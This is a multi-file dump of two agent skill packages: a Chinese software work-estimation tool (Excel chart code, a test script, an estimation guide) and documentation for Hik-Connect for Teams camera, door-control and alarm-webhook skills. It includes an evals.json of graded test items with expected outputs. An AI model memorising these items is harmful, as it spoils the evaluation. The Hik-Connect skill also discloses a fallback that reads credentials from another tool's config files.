data = Reference(ws, min_col=3, min_row=chart_start_row, max_row=chart_data_end)
cats = Reference(ws, min_col=1, min_row=chart_start_row + 1, max_row=chart_data_end)
chart.add_data(data, titles_from_data=True)
chart.set_categories(cats)
chart.shape = 4
chart.width = 20
chart.height = 12
# 放置图表
ws.add_chart(chart, f"H{chart_start_row}")
def create_distribution_charts(ws, modules):
"""在工作总览Sheet中创建工时分布图表"""
# 计算各维度工时
total = {"analysis": 0, "design": 0, "frontend": 0, "backend": 0, "algorithm": 0, "test": 0}
module_totals = {}
for module in modules:
module_total = 0
for item in module.get("items", []):
item_total = item.get("analysis", 0) + item.get("design", 0) + \
item.get("frontend", 0) + item.get("backend", 0) + \
item.get("algorithm", 0) + item.get("test", 0)
total["analysis"] += item.get("analysis", 0)
total["design"] += item.get("design", 0)
total["frontend"] += item.get("frontend", 0)
total["backend"] += item.get("backend", 0)
total["algorithm"] += item.get("algorithm", 0)
total["test"] += item.get("test", 0)
module_total += item_total
module_totals[module["name"]] = module_total
grand_total = sum(total.values())
# 找到总览Sheet的最后一行
chart_row = ws.max_row + 3
# ========== 维度占比饼图 ==========
ws.cell(row=chart_row, column=1, value="工时维度占比").font = Font(bold=True, size=12)
chart_row += 1
# 写入饼图数据
ws.cell(row=chart_row, column=1, value="维度")
ws.cell(row=chart_row, column=2, value="工时(人天)")
pie_data_row = chart_row + 1
dimensions = [("需求分析", total["analysis"]),
("设计", total["design"]),
("前端", total["frontend"]),
("后台", total["backend"]),
("算法", total["algorithm"]),
("测试", total["test"])]
row = pie_data_row
for dim, hours in dimensions:
if hours > 0:
ws.cell(row=row, column=1, value=dim)
ws.cell(row=row, column=2, value=hours)
row += 1
pie_data_end = row - 1
# 创建饼图
pie = PieChart()
labels = Reference(ws, min_col=1, min_row=pie_data_row, max_row=pie_data_end)
data = Reference(ws, min_col=2, min_row=pie_data_row - 1, max_row=pie_data_end)
pie.add_data(data, titles_from_data=True)
pie.set_categories(labels)
pie.title = "各维度工时占比"
pie.style = 10
pie.width = 12
pie.height = 10
# 添加数据标签
pie.dataLabels = DataLabelList()
pie.dataLabels.showPercent = True
pie.dataLabels.showVal = True
pie.dataLabels.showCatName = True
ws.add_chart(pie, f"D{chart_row}")
# ========== 模块占比柱状图 ==========
chart_row = pie_data_end + 3
ws.cell(row=chart_row, column=1, value="各模块工时对比").font = Font(bold=True, size=12)
chart_row += 1
# 写入柱状图数据
ws.cell(row=chart_row, column=1, value="模块")
ws.cell(row=chart_row, column=2, value="工时(人天)")
bar_data_row = chart_row + 1
row = bar_data_row
for module_name, hours in module_totals.items():
ws.cell(row=row, column=1, value=module_name)
ws.cell(row=row, column=2, value=hours)
row += 1
bar_data_end = row - 1
# 创建柱状图
bar = BarChart()
bar.type = "col"
bar.style = 10
bar.title = "各模块工时对比"
bar.y_axis.title = "工时(人天)"
bar.x_axis.title = "模块"
labels = Reference(ws, min_col=1, min_row=bar_data_row, max_row=bar_data_end)
data = Reference(ws, min_col=2, min_row=bar_data_row - 1, max_row=bar_data_end)
bar.add_data(data, titles_from_data=True)
bar.set_categories(labels)
bar.width = 14
bar.height = 10
ws.add_chart(bar, f"D{chart_row}")
def parse_requirements(requirements_text: str) -> list:
"""
解析需求文本,生成模块结构
这是一个简化的解析,实际使用时可能需要更复杂的处理
"""
# 简单的模块拆分逻辑
modules = []
current_module = None
lines = requirements_text.split("\n")
for line in lines:
line = line.strip()
if not line:
continue
# 检测是否是模块标题(通常是 ## 或 ### 开头,或者是 "XX模块" 格式)
if line.startswith("#"):
if current_module:
modules.append(current_module)
current_module = {
"name": line.lstrip("#").strip(),
"desc": "",
"items": []
}
elif "模块" in line and ":" in line:
if current_module:
modules.append(current_module)
module_name = line.split(":")[0].strip()
module_desc = line.split(":")[1].strip() if ":" in line else ""
current_module = {
"name": module_name,
"desc": module_desc,
"items": []
}
if current_module:
modules.append(current_module)
return modules
if __name__ == "__main__":
# 测试
test_modules = [
{
"name": "用户系统",
"desc": "用户登录注册相关功能",
"items": [
{
"name": "登录注册",
"desc": "手机号+验证码登录",
"analysis": 1.0,
"design": 1.0,
"frontend": 2.0,
"backend": 3.0,
"algorithm": 0,
"test": 1.0,
"complexity": "低",
"risk": "低",
"parallel": True,
"prerequisite": "",
"coordination": "需与短信服务商协调"
}
]
}
]
output = generate_estimation_excel("测试需求", test_modules)
print(f"已生成: {output}")
FILE:scripts/test_login.py
"""测试:APP手机号登录注册工时评估"""
import sys
sys.path.insert(0, "C:/Users/Administrator/AppData/Roaming/LobsterAI/SKILLs/work-estimation/scripts")
from generate_estimation import generate_estimation_excel
modules = [
{
"name": "用户系统",
"desc": "APP手机号登录注册模块",
"items": [
{
"name": "登录注册界面",
"desc": "手机号输入、验证码发送、倒计时、协议勾选",
"analysis": 0.5,
"design": 1.0,
"frontend": 2.0,
"backend": 1.5,
"algorithm": 0,
"test": 0.5,
"complexity": "低",
"risk": "低",
"parallel": True,
"prerequisite": "",
"coordination": "需与短信服务商协调"
},
{
"name": "验证码服务",
"desc": "短信验证码生成、发送、校验(60秒有效期)",
"analysis": 0.5,
"design": 0.5,
"frontend": 0,
"backend": 2.0,
"algorithm": 0,
"test": 0.5,
"complexity": "中",
"risk": "低",
"parallel": True,
"prerequisite": "",
"coordination": "需与短信服务商协调接口"
},
{
"name": "用户信息存储",
"desc": "用户表设计、注册流程、登录Token生成",
"analysis": 0.5,
"design": 1.0,
"frontend": 0,
"backend": 2.5,
"algorithm": 0,
"test": 0.5,
"complexity": "中",
"risk": "低",
"parallel": False,
"prerequisite": "验证码服务完成后",
"coordination": ""
},
{
"name": "第三方登录(可选)",
"desc": "微信/Apple登录集成",
"analysis": 0.5,
"design": 0.5,
"frontend": 1.5,
"backend": 1.5,
"algorithm": 0,
"test": 0.5,
"complexity": "高",
"risk": "中",
"parallel": True,
"prerequisite": "",
"coordination": "需微信/Apple开发者账号"
}
]
}
]
output = generate_estimation_excel("APP手机号登录注册", modules)
print(f"已生成: {output}")
FILE:references/evaluation-guide.md
# Software Development Work Estimation Guide
## Estimation Dimensions
### 1. Analysis
- Requirements research & interviews
- Requirements documentation
- Requirements review & approval
- Requirements change management
### 2. Design
- Architecture design
- UI/UX design
- Database design
- API design
- Detailed design
### 3. Frontend
- Page development
- Component封装
- State management
- Performance optimization
- Compatibility
### 4. Backend
- Server development
- API development
- Database implementation
- Caching design
- Security
### 5. Algorithm
- Business logic implementation
- Data processing
- AI/ML models
- Performance optimization
### 6. Testing
- Unit testing
- Integration testing
- System testing
- Performance testing
- UAT
---
## Complexity Standards
### Frontend
| Complexity | Description | Example |
|------------|-------------|---------|
| Low | Static pages, minimal interaction | Landing pages, forms |
| Medium | Dynamic pages, state management | List pages, form validation |
| High | Complex interactions, sync | Real-time collaboration, drag-drop |
### Backend
| Complexity | Description | Example |
|------------|-------------|---------|
| Low | CRUD, single table ops | Basic CRUD |
| Medium | Business logic, transactions | Order processing, inventory |
| High | Distributed, high concurrency | Flash sales, real-time computing |
### Algorithm
| Complexity | Description | Example |
|------------|-------------|---------|
| Low | Simple calculations | Statistics, filtering, sorting |
| Medium | Moderate algorithms | Recommendations, search ranking |
| High | Complex algorithms/AI | Image recognition, NLP, deep learning |
---
## Quick Reference Table
### Analysis
| Item | Low | Medium | High |
|------|-----|--------|------|
| Research | 1 day | 2-3 days | 5 days+ |
| Documentation | 1 day | 2-3 days | 5 days+ |
| Review | 0.5 day | 1 day | 2 days+ |
### Design
| Item | Low | Medium | High |
|------|-----|--------|------|
| Architecture | 1-2 days | 3-5 days | 1-2 weeks |
| UI Design | 2-3 days | 5-7 days | 2-3 weeks |
| Database | 0.5 day | 1-2 days | 3-5 days |
### Development (per feature point)
| Role | Low | Medium | High |
|------|-----|--------|------|
| Frontend | 0.5-1 day | 1-2 days | 2-5 days |
| Backend | 1-2 days | 2-4 days | 5-10 days |
| Algorithm | 1-2 days | 3-5 days | 5-10 days |
### Testing
| Item | Ratio | Description |
|------|-------|-------------|
| Functional | 0.3-0.5 | Relative to dev hours |
| Integration | 0.2-0.3 | Relative to dev hours |
| Performance | 0.1-0.2 | Relative to dev hours |
---
## Gantt Chart Planning
### Parallel Work
- Frontend page development can be parallel
- Independent modules can be parallel
- Design and frontend can be partially parallel
- Frontend and backend can be parallel (after API agreement)
### Critical Path
- Sequential work items
- Determines shortest project duration
- Requires close monitoring
### Milestones
- Requirements confirmed
- Design completed
- Development completed
- Testing completed
- Deployment
---
## Risk Assessment
### Key Items (require separate notes)
1. Technical difficulties unclear
2. Third-party dependencies uncertain
3. Requirements boundaries fuzzy
4. Performance requirements extremely high
5. Team lacks experience
### Risk Levels
| Level | Description | Buffer |
|-------|-------------|--------|
| Low | Mature tech, clear requirements | 10% |
| Medium | Some complexity | 20% |
| High | New tech or fuzzy requirements | 30%+ |
---
## Excel Output Structure
```
Sheet 1: Overview
Sheet 2: Analysis Details
Sheet 3: Design Details
Sheet 4: Frontend Details
Sheet 5: Backend Details
Sheet 6: Algorithm Details
Sheet 7: Testing Details
Sheet 8: Gantt Chart
Sheet 9: Key Risks
Sheet 10: Coordination
```
### Gantt Chart Columns
| Task | Start Date | End Date | Duration(days) | Prerequisites | Assignee |
|------|------------|----------|----------------|---------------|----------|
FILE:evals/evals.json
[
{
"id": "eval-001",
"name": "电商小程序工时评估",
"input": {
"requirements": "开发一个电商小程序,包括用户登录、商品展示、购物车、订单支付功能"
},
"expected": {
"modules_count": 5,
"has_overview": true,
"has_gantt": true,
"has_risks": true,
"has_coordination": true,
"dimensions": ["需求分析", "设计", "前端", "后台", "算法", "测试"]
}
},
{
"id": "eval-002",
"name": "企业内部管理系统评估",
"input": {
"requirements": "开发企业内部OA系统,包含审批流程、考勤管理、公告发布三个模块"
},
"expected": {
"modules_count": 3,
"has_overview": true,
"has_gantt": true
}
},
{
"id": "eval-003",
"name": "AI推荐系统评估",
"input": {
"requirements": "开发一个内容推荐系统,包括用户画像、推荐算法、前端展示三大块"
},
"expected": {
"modules_count": 3,
"has_algorithm_sheet": true,
"algorithm_hours_defined": true
}
}
]
Hik-Connect for Teams (HCT) Developer Skills. Integrates a series of skills for managing and controlling HCT devices, including resource management, access c...
---
name: hik-connect-team Skills
description: |
Hik-Connect for Teams (HCT) Developer Skills.
Integrates a series of skills for managing and controlling HCT devices, including resource management, access control, device capture, video streaming, and alarm push.
Use when: Need to perform batch management, remote control, real-time monitoring, media resource acquisition, or alarm push configuration for devices under Hik-Connect for Teams mode.
⚠️ Global Requirement: All sub-modules require configuration of environment variables:
- Hik-Connect Team OpenAPI AppKey
- Hik-Connect Team OpenAPI SecretKey
- Hik-Connect Team OpenAPI Domain (auto-obtained from token response)
---
# Hik-Connect Team Skills
## 1. Introduction
`Hik-Connect_Team_Skills` is a full-featured integration Skills designed specifically for **Hik-Connect for Teams (HCT)** developers. Based on the **HCTOpen OpenAPI** system, it encapsulates core capabilities from basic resource management to advanced alarm push through Python scripts.
This Skills adopts a modular design with built-in automated **Token maintenance mechanisms**, **dynamic path searching**, and **standardized error handling**, aiming to help developers quickly build HCT-based automated O&M, security monitoring, and business integration systems.
---
## 2. Core Modules Deep Dive
This Skills consists of five core sub-modules, each providing deep support for specific business scenarios:
| Module Name | Core Functions | Core Scripts | Applicable Scenarios |
|:---------------------------------------------------------------------------|:----------------------------------------------------------|:-----------------------------------------------------------------------------------|:----------------------------------------------------------------------------------------------------------------------------------------------|
| [**📦 Resource Management**](./modules/Hik-Connect_Team_Resource/SKILL.md) | Device discovery, detail acquisition, channel enumeration | `list_devices.py`<br>`device_detail.py`<br>`device_channels.py`<br>`list_doors.py` | Asset inventory, obtaining device serial numbers and channel IDs, access control resources, synchronizing organizational structure resources. |
| [**🚪 Access Control (ACS)**](./modules/Hik-Connect_Team_ACS/SKILL.md) | Remote open/close, normally open/normally closed control | `acs_control.py` | Remote office collaboration, unattended entrance management, access control linkage in emergencies. |
| [**📸 Device Capture**](./modules/Hik-Connect_Team_Capture/SKILL.md) | Real-time trigger capture, obtain image URL | `capture_pic.py` | Anomaly verification, real-time screen preview, manual secondary verification of AI recognition results. |
| [**🎥 Video Streaming**](./modules/Hik-Connect_Team_Video/SKILL.md) | Obtain real-time video stream | `get_video_url.py` | Real-time monitoring embedding, remote video inspection, third-party monitoring large screen integration. |
| [**🔔 Alarm Push (Alarm)**](./modules/Hik-Connect_Team_Alarm/SKILL.md) | Webhook subscription, fine-grained event management | `webhook_manager.py`<br>`event_manager.py` | Real-time alarm notification, third-party system integration (e.g., Feishu/DingTalk robots). |
---
## 3. Environment Preparation and Global Configuration
### 3.1 Credential Configuration
Before using any module, credentials must be configured. The system supports two methods:
#### Method A: Environment Variables (Recommended)
```bash
# Required: Obtain from Hik-Connect HCT Developer Platform
export HIK_CONNECT_TEAM_OPENAPI_APP_KEY="Your Hik-Connect Team OpenAPI AppKey"
export HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY="Your Hik-Connect Team OpenAPI SecretKey"
# Note: API domain is automatically obtained from token response (no longer required)
# Optional: Token cache configuration (enabled by default to reduce API call frequency)
export HIK_CONNECT_TEAM_TOKEN_CACHE="1" # 1=Enabled, 0=Disabled
```
#### Method B: OpenClaw Config Files (Fallback)
If environment variables are not set, the system will automatically search for credentials in OpenClaw config files:
```
Config search order (first found wins):
1. ~/.openclaw/config.json
2. ~/.openclaw/gateway/config.json
3. ~/.openclaw/channels.json
```
Config format:
```json
{
"channels": {
"hik_connect_team_openapi": {
"appKey": "Your Hik-Connect Team OpenAPI AppKey",
"secretKey": "Your Hik-Connect Team OpenAPI SecretKey",
"enabled": true
}
}
}
```
**Recommended: Save to `~/.openclaw/channels.json`** — This is the dedicated file for channel credentials.
**⚠️ Security Note**: Storing credentials in config files is convenient but introduces some risk. Environment variables are recommended for better security.
### 3.2 Dependency Installation
This Skills is developed based on Python 3.8+. It is recommended to install necessary dependencies using the following command:
```bash
pip3 install requests tabulate pycryptodome Pillow
```
---
## 🔒 Config File Reading Details
**Credential Priority** (Highest to Lowest):
```
┌─────────────────────────────────────────────────────────────┐
│ 1. Environment Variables (Highest Priority - Recommended) │
│ ├─ HIK_CONNECT_TEAM_OPENAPI_APP_KEY │
│ └─ HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY │
│ ✅ Advantage: No config file reading, fully isolated │
├─────────────────────────────────────────────────────────────┤
│ 2. OpenClaw Config Files (Only when env vars not set) │
│ ├─ ~/.openclaw/config.json │
│ ├─ ~/.openclaw/gateway/config.json │
│ └─ ~/.openclaw/channels.json │
│ ⚠️ Note: Only reads channels.hik_connect_team_openapi field │
├─────────────────────────────────────────────────────────────┤
```
## 4. Directory Structure Description
```text
Hik-Connect_Team_Skills/
├── SKILL.md # This guide file (Full-featured integration guide)
├── lib/ # Core library
│ └── token_manager.py # Encapsulates HCTOpenClient base class, handles Token refresh, request retries, and path searching
└── modules/ # Functional sub-modules
├── Hik-Connect_Team_Resource/ # Resource Management: Devices, channels, details
├── Hik-Connect_Team_ACS/ # Access Control: Open/close, normally open/normally closed
├── Hik-Connect_Team_Capture/ # Device Capture: Real-time trigger, URL acquisition
├── Hik-Connect_Team_Video/ # Video Streaming: Real-time preview address acquisition
└── Hik-Connect_Team_Alarm/ # Alarm Push: Webhook management, event subscription
```
---
## 5. Security and Best Practices
1. **Token Security**: The Skills automatically caches Tokens locally. Please ensure the security of the running environment to prevent unauthorized reading of cache files in the `lib/` directory.
2. **HTTPS Mandatory Requirement**: All Webhook callbacks from the HCT platform must use HTTPS. It is recommended to use `ngrok` or `cpolar` with SSL certificates for secure access.
3. **Signature Verification**: In the Alarm module, be sure to configure `signSecret` and implement HMAC-SHA256 signature verification on your receiving end to prevent forged alarm pushes.
4. **Error Handling**: All scripts return standard JSON format. If `success` is `false`, please check the `message` field for detailed error reasons.
---
FILE:README.md
# Hik-Connect Team (HCT) Skills
Welcome to the **Hik-Connect Team (HCT) Skills**. This is a comprehensive developer skill set designed for **Hik-Connect for Teams (HCT)**, providing a modular and efficient way to manage and control HCT devices through the **HCTOpen OpenAPI** system.
## 🌟 Overview
The HCT Skills empowers developers to integrate professional security and management features into their own applications or automated workflows. It handles the complexities of authentication, token management, and standardized communication with Hikvision's cloud services.
### Key Features
- **Resource Management**: Discover devices, get details, and enumerate channels.
- **Access Control (ACS)**: Remotely open/close doors and manage access states.
- **Real-time Capture**: Trigger and retrieve live snapshots from cameras.
- **Video Streaming**: Generate secure, time-limited URLs for live video previews.
- **Alarm Management**: Subscribe to events and receive real-time notifications via Webhooks.
---
## 🛠 Modules & Capabilities
The Skills is divided into specialized modules, each with its own dedicated scripts and documentation:
| Module | Description | Key Scripts |
|:----------------------------------------------------------------|:----------------------------|:-------------------------------------------------------|
| [**📦 Resource**](./modules/Hik-Connect_Team_Resource/SKILL.md) | Manage your asset inventory | `list_devices.py`, `device_detail.py`, `list_doors.py` |
| [**🚪 ACS**](./modules/Hik-Connect_Team_ACS/SKILL.md) | Remote door control | `acs_control.py` |
| [**📸 Capture**](./modules/Hik-Connect_Team_Capture/SKILL.md) | Instant image snapshots | `capture_pic.py` |
| [**🎥 Video**](./modules/Hik-Connect_Team_Video/SKILL.md) | Live stream URL generation | `get_video_url.py` |
| [**🔔 Alarm**](./modules/Hik-Connect_Team_Alarm/SKILL.md) | Webhook & Event management | `webhook_manager.py`, `event_manager.py` |
---
## 🚀 Getting Started
### 1. Prerequisites
- **Python 3.8+**
- **Node.js** (Required only for the Alarm/Webhook service)
- **HCT Developer Credentials**: You must have `HIK_CONNECT_TEAM_OPENAPI_APP_KEY` and `HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY` from the Hik-Connect HCT Developer Platform. The API domain will be automatically obtained from the token response.
### 2. Installation
Install the required Python dependencies:
```bash
pip3 install requests tabulate pycryptodome Pillow
```
### 3. Configuration
**Credentials only need to be configured ONCE. The system will automatically find and use them.**
#### Method A: Environment Variables (Recommended)
Set in your shell profile or before running scripts:
```bash
export HIK_CONNECT_TEAM_OPENAPI_APP_KEY="Your Hik-Connect Team OpenAPI AppKey"
export HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY="Your Hik-Connect Team OpenAPI SecretKey"
```
#### Method B: OpenClaw Config Files (Fallback)
If environment variables are not set, the system will automatically search for credentials in OpenClaw config files:
```
Config search order (first found wins):
1. ~/.openclaw/config.json
2. ~/.openclaw/gateway/config.json
3. ~/.openclaw/channels.json ⭐ Recommended
```
Config format:
```json
{
"channels": {
"hik_connect_team_openapi": {
"appKey": "Your Hik-Connect Team OpenAPI AppKey",
"secretKey": "Your Hik-Connect Team OpenAPI SecretKey",
"enabled": true
}
}
}
```
**Note**: API domain is automatically obtained from token response.
---
## 🔒 Credential Priority
**The skill obtains credentials in the following order (highest to lowest priority):**
```
┌─────────────────────────────────────────────────────────────┐
│ 1. Environment Variables (Highest Priority - Recommended) │
│ ├─ HIK_CONNECT_TEAM_OPENAPI_APP_KEY │
│ └─ HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY │
│ ✅ Advantage: No config file reading, fully isolated │
├─────────────────────────────────────────────────────────────┤
│ 2. OpenClaw Config Files (Only when env vars not set) │
│ ├─ ~/.openclaw/config.json │
│ ├─ ~/.openclaw/gateway/config.json │
│ └─ ~/.openclaw/channels.json │
│ ⚠️ Note: Only reads channels.hik_connect_team_openapi field │
├─────────────────────────────────────────────────────────────┤
│ 3. Error Handling (When no valid credentials) │
│ Program exits with error message │
└─────────────────────────────────────────────────────────────┘
```
---
## 💡 Usage Examples
### Example 1: List All Devices
```bash
cd "Hik-Connect Team Skills/modules/Hik-Connect_Team_Resource/scripts"
python list_devices.py
```
### Example 2: Remote Door Opening
```bash
cd "Hik-Connect Team Skills/modules/Hik-Connect_Team_ACS/scripts"
python acs_control.py --action-type 1 --element-list "your_door_resource_id"
```
### Example 3: Capture Device Image
```bash
cd "Hik-Connect Team Skills/modules/Hik-Connect_Team_Capture/scripts"
python capture_pic.py DEVICE_SERIAL
```
### Example 4: Get a Live Video Stream
```bash
cd "Hik-Connect Team Skills/modules/Hik-Connect_Team_Video/scripts"
python get_video_url.py --device-serial "SERIAL123" --resource-id "RES_ID_456"
```
### Example 5: Setting Up Alarms
The Alarm module requires a **public HTTPS URL** to receive webhook pushes from HCT platform.
#### Option A — Same Server as OpenClaw (Simplest)
1. Configure reverse proxy to route `/hikvision/webhook` to `127.0.0.1:3090`
2. Start Webhook server: `node modules/Hik-Connect_Team_Alarm/scripts/server.js`
3. Register URL: `python modules/Hik-Connect_Team_Alarm/scripts/webhook_manager.py save --url "https://your-domain.com/hikvision/webhook" --secret "your_secret"`
4. Subscribe: `python modules/Hik-Connect_Team_Alarm/scripts/event_manager.py subscribe`
#### Option B — Use a Tunnel Tool (ngrok/cpolar)
1. Run `ngrok http 3090` on OpenClaw server
2. Copy the tunnel URL
3. Start Webhook server and register the tunnel URL
> **Note**: Tunnel URLs change on restart for free tiers — you must re-register the Webhook after each restart.
#### Option C — Different Server with Public URL
If you have a separate public server and OpenClaw's port 3090 is reachable from it:
1. On your server, configure a reverse proxy to forward `/hikvision/webhook` to `<OpenClaw_SERVER_IP>:3090`
2. Start the Webhook server on OpenClaw server: `node modules/Hik-Connect_Team_Alarm/scripts/server.js`
3. Register your public URL: `python modules/Hik-Connect_Team_Alarm/scripts/webhook_manager.py save --url "https://your-domain.com/hikvision/webhook" --secret "your_secret"`
4. Subscribe to events: `python modules/Hik-Connect_Team_Alarm/scripts/event_manager.py subscribe`
> **⚠️ Third-party webhook receiver services (Pipedream, AWS Lambda URL, etc.) are NOT recommended** — they only receive requests, they cannot forward to your internal OpenClaw server.
### About Alarm Message Format
When alarm messages are pushed to OpenClaw, the AI agent may inherently attempt to translate, summarize, or reformat the raw data. This behavior is difficult to completely avoid.
**If you need a specific alarm message format:**
- Explicitly instruct the AI agent: "Do not process/modify/summarize the alarm data, return it as-is"
- If the format is still not ideal, directly tell the AI your preferred format (e.g., "Show alarm messages in a table", "Use the raw JSON format", etc.)
The raw alarm data from HCT platform contains complete information — the AI's processing is optional and can be overridden by your instructions.
---
## 🔒 Security Recommendations
### 1. Use Minimal Permission Credentials
- Create dedicated `HIK_CONNECT_TEAM_OPENAPI_APP_KEY`/`HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY` with only necessary API permissions
- Do not use main account credentials
- Rotate credentials regularly (recommended every 90 days)
### 2. Environment Variable Security
```bash
# Recommended: Use .env file (do not commit to version control)
echo "HIK_CONNECT_TEAM_OPENAPI_APP_KEY=your_key" >> .env
echo "HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY=your_secret" >> .env
chmod 600 .env
# Load environment variables
source .env
```
### 3. Disable Token Caching (High Security)
```bash
export HIK_CONNECT_TEAM_TOKEN_CACHE=0
python3 scripts/xxx.py ...
```
### 4. Regular Cache Cleanup
```bash
# Clear all cached Tokens
rm -rf /tmp/hctopen_global_token_cache/
```
### 5. Config File Scanning
The skill reads Hikvision configuration from (only when env vars not set):
```
~/.openclaw/config.json
~/.openclaw/gateway/config.json
~/.openclaw/channels.json
```
**Config Format**:
```json
{
"channels": {
"hik_connect_team_openapi": {
"appKey": "Your Hik-Connect Team OpenAPI AppKey",
"secretKey": "Your Hik-Connect Team OpenAPI SecretKey",
"enabled": true
}
}
}
```
**Security Recommendations**:
- ✅ Use dedicated Hikvision credentials, do not share with other services
- ✅ Set environment variables to override config file scanning if needed
- ✅ Regularly review credential permissions in config files
- ❌ Do not store main account credentials in config files
---
## ✅ Security Audit Checklist
### Pre-Installation Checks
- [ ] **Review Code** — Read `lib/token_manager.py` and module scripts
- [ ] **Verify API Domain** — Confirm domain is Hikvision official endpoint
- [ ] **Prepare Test Credentials** — Create dedicated app with only necessary permissions
- [ ] **Check Config Files** — Review `~/.openclaw/*.json` for sensitive credentials
- [ ] **Confirm Cache Location** — Ensure `/tmp/hctopen_global_token_cache/` is acceptable
### Installation Configuration
- [ ] **Use Environment Variables** — Prefer `HIK_CONNECT_TEAM_OPENAPI_APP_KEY` etc.
- [ ] **Disable Caching** (Optional) — Set `HIK_CONNECT_TEAM_TOKEN_CACHE=0` for high security
- [ ] **Minimal Permission Credentials** — Do not use main account credentials
- [ ] **Isolated Environment** (Optional) — Run in container/VM
### Post-Installation Verification
- [ ] **Verify Cache Permissions** — Confirm cache file permissions are 600
- [ ] **Test Functionality** — Verify with test device
- [ ] **Monitor Logs** — Check API calls are normal
- [ ] **Secure Credential Storage** — Use key manager
### Ongoing Maintenance
- [ ] **Rotate Credentials** — Recommended every 90 days
- [ ] **Review Dependencies** — Check `requests` etc. for security updates
- [ ] **Clear Cache** — Clear cache in high security environments
- [ ] **Monitor for Anomalies** — Watch for unusual API calls or errors
---
## 🔒 Security & Best Practices
- **Least Privilege**: Use credentials with only the permissions necessary for your specific task.
- **Token Caching**: Skills automatically caches access tokens in system temp directory (600 permissions) to minimize API calls.
- **HTTPS**: All Webhook endpoints **must** use HTTPS.
- **Stream Encryption**: If devices have "Stream Encryption" enabled, you must manually decrypt in HCT platform or app.
---
## 📂 Project Structure
```text
Hik-Connect_Team_Skills/
├── README.md # This overview document
├── SKILL.md # Technical integration guide
├── lib/ # Shared libraries
│ ├── token_manager.py # Token management & base client
│ └── README_TOKEN_MANAGER.md # Token manager documentation
└── modules/ # Functional sub-modules
├── Hik-Connect_Team_Resource/
├── Hik-Connect_Team_ACS/
├── Hik-Connect_Team_Capture/
├── Hik-Connect_Team_Video/
└── Hik-Connect_Team_Alarm/
```
For detailed information on each module, please refer to the `SKILL.md` file within each module's directory.
---
FILE:modules/Hik-Connect_Team_Video/SKILL.md
---
name: hctopen-video
description: |
HCTOpen device video stream skill. Supports getting real-time video stream address for specified device channel.
Use when: Need to get device real-time video stream URL.
Before calling this Skill's script, please check if user provided optional parameters. If user didn't provide video-duration, please clearly inform user in reply: 'Currently using default stream duration (duration 10 minutes), if you need to adjust, please let me know'. After getting confirmation or ignoring, continue execution.
⚠️ Security Requirement: Must set environment variables: Hik-Connect Team OpenAPI AppKey,Hik-Connect Team OpenAPI SecretKey. (API Domain is automatically obtained from token response)
parameters:
- name: device-serial
type: string
description: "Device serial number"
required: true
- name: resource-id
type: string
description: "Channel/monitoring point resource ID"
required: true
- name: video-duration
type: integer
description: "Video stream duration (seconds), default 600s, if user didn't specify duration, please inform user default value will be used, and ask if adjustment is needed."
default: 600
output_format:
- "⚠️ Important: After getting video stream, must return in Markdown link format: `[url]({url})`, do not return raw URL only!"
- "Example: [https://example.com/stream.m3u8]({https://example.com/stream.m3u8})"
troubleshooting:
scope: on-demand-only
trigger: "Only activate when user explicitly reports: 'video won't play', 'stream fails', 'cannot open', or similar playback errors."
mandatory_checks:
- "Step 1: Verify Stream Encryption is Disabled via device_detail.py"
- "Step 2: Verify video encoding format is H264 (ask user to check in HCT platform)"
metadata:
openclaw:
emoji: "🎥"
requires:
env: ["HIK_CONNECT_TEAM_OPENAPI_APP_KEY", "HIK_CONNECT_TEAM_OPENAPI_SECRET_KEY"]
pip: ["requests"]
primaryEnv: "HIK_CONNECT_TEAM_OPENAPI_APP_KEY"
warnings:
- "May read ~/.openclaw/*.json for credentials (env vars have priority)"
config:
configFileRead:
paths:
- "~/.openclaw/config.json"
- "~/.openclaw/gateway/config.json"
- "~/.openclaw/channels.json"
priority: "lower than environment variables"
description: "Reads Hik-Connect Team credentials from OpenClaw config files as fallback"
---
# HCTOpen Video
HCT is short for Hik-Connect for Teams, meaning Hik-Connect Team mode.
HCTOpen is short for Hik-Connect for Teams OpenAPI.
This Skill provides device real-time video stream address acquisition functionality, can be accessed directly through link.
---
## ⚠️ Security Warning (Read Before Use)
| # | Check Item | Status | Description |
|---|---------------------------|-------------|----------------------------------------------------------------------------------------------------|
| 1 | **Credential Permission** | ⚠️ Required | Please use credentials with **video stream permission**, avoid using super admin credentials |
| 2 | **Traffic Consumption** | ⚠️ Note | Real-time video stream will consume large bandwidth, please close player in time when not in use |
| 3 | **Token Cache** | ✅ Encrypted | Token cached in system temp directory, only current user can read (600 permission) |
| 4 | **API Domain** | ✅ Auto | API domain is automatically obtained from token response (no longer requires manual configuration) |
---
## 🚀 Quick Start
### Run Video Stream Script
```bash
# Scenario 1: Get video stream for specified device and channel (default 600s)
python scripts/get_video_url.py --device-serial J10137390 --resource-id 6a447d3f9cfe4c8e8394c19f8fbcd3ba
# Scenario 2: Get video stream for specified duration (60s)
python scripts/get_video_url.py --device-serial D72821502 --resource-id 661543ed4b35465a9767081ae0a8bf45 --video-duration 600
```
> ⚠️ **Important**: The `--resource-id` must be the **camera resource ID** obtained from `device_channels.py`!
---
## 🛠 Workflow
```mermaid
graph TD
A[Start Script] --> B{Check Environment Variables}
B -- Missing --> C[Report Error and Exit]
B -- Pass --> D[Get AccessToken]
D --> E{Is Token Valid?}
E -- Cache Valid --> F[Use Cache Directly]
E -- Expired/No Cache --> G[Call API to Get New Token]
G --> H[Save to Local Cache]
F --> I[Send Video Stream Request]
H --> I
I --> J{Parse Return Result}
J -- Success --> K[Print Video Stream URL and Expiration Time]
J -- Failed --> L[Print Error Message]
K --> M[Output JSON Result]
L --> M
M --> N[End]
```
---
## 📋 API Parameter Details
### 1. Device Video Stream Request Parameters
**Endpoint**: `POST /api/hccgw/video/v1/live/address/get`
| Parameter Name | Type | Description | Required | Default | Notes |
|----------------|---------|--------------------------------------|----------|---------|----------------------------|
| `deviceSerial` | String | Device serial number | **Yes** | - | Device unique identifier |
| `resourceId` | String | Channel/monitoring point resource ID | **Yes** | - | Channel unique identifier |
| `expireTime` | Integer | Preview duration (seconds) | No | 600 | Default 600 seconds |
| `protocol` | Integer | Stream protocol | No | 2 | Fixed: 2 (HLS format only) |
### 2. API Return Data Description
| Field Name | Type | Description | Notes |
